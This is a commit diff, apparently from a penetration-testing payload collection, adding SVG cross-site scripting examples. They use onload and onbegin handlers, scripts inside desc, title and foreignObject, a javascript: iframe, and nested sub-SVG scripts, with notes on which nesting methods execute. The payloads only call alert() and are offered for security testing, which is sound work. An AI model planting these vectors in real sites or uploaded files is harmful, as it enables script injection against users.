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Merge pull request #729 from noraj/patch-1

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XSS in SVG: more examples + nesting
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XSS Injection/README.md
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@ -384,6 +384,8 @@ vbscript:msgbox("XSS")
### XSS in SVG
Simple script. Codename: green triangle
```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
@ -396,6 +398,29 @@ vbscript:msgbox("XSS")
</svg>
```
More comprehensive payload with svg tag attribute, desc script, foreignObject script, foreignObject iframe, title script, animatetransform event and simple script. Codename: red lignthning. Author: noraj.
```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" width="100" height="100" xmlns="http://www.w3.org/2000/svg" onload="alert('svg attribut')">
<polygon id="lightning" points="0,100 50,25 50,75 100,0" fill="#ff1919" stroke="#ff0000"/>
<desc><script>alert('svg desc')</script></desc>
<foreignObject><script>alert('svg foreignObject')</script></foreignObject>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert('svg foreignObject iframe');" width="400" height="250"/>
</foreignObject>
<title><script>alert('svg title')</script></title>
<animatetransform onbegin="alert('svg animatetransform onbegin')"></animatetransform>
<script type="text/javascript">
alert('svg script');
</script>
</svg>
```
### XSS in SVG (short)
```javascript
@ -406,6 +431,43 @@ vbscript:msgbox("XSS")
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
```
### XSS in SVG (nesting)
Including a remote SVG image in a SVG works but won't trigger the XSS embedded in the remote SVG. Author: noraj.
SVG 1.x (xlink:href)
```xml
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://127.0.0.1:9999/red_lightning_xss_full.svg" height="200" width="200"/>
</svg>
```
Including a remote SVG fragment in a SVG works but won't trigger the XSS embedded in the remote SVG element because it's impossible to add vulnerable attribute on a polygon/rect/etc sicne the `style` attribute is no longer a vector on modern browsers. Author: noraj.
SVG 1.x (xlink:href)
```xml
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="http://127.0.0.1:9999/red_lightning_xss_full.svg#lightning"/>
</svg>
```
However, including svg tags in SVG documents works and allows XSS execution from sub-SVGs. Codename: french flag. Author: noraj.
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<svg x="10">
<rect x="10" y="10" height="100" width="100" style="fill: #002654"/>
<script type="text/javascript">alert('sub-svg 1');</script>
</svg>
<svg x="200">
<rect x="10" y="10" height="100" width="100" style="fill: #ED2939"/>
<script type="text/javascript">alert('sub-svg 2');</script>
</svg>
</svg>
```
### XSS in Markdown
```csharp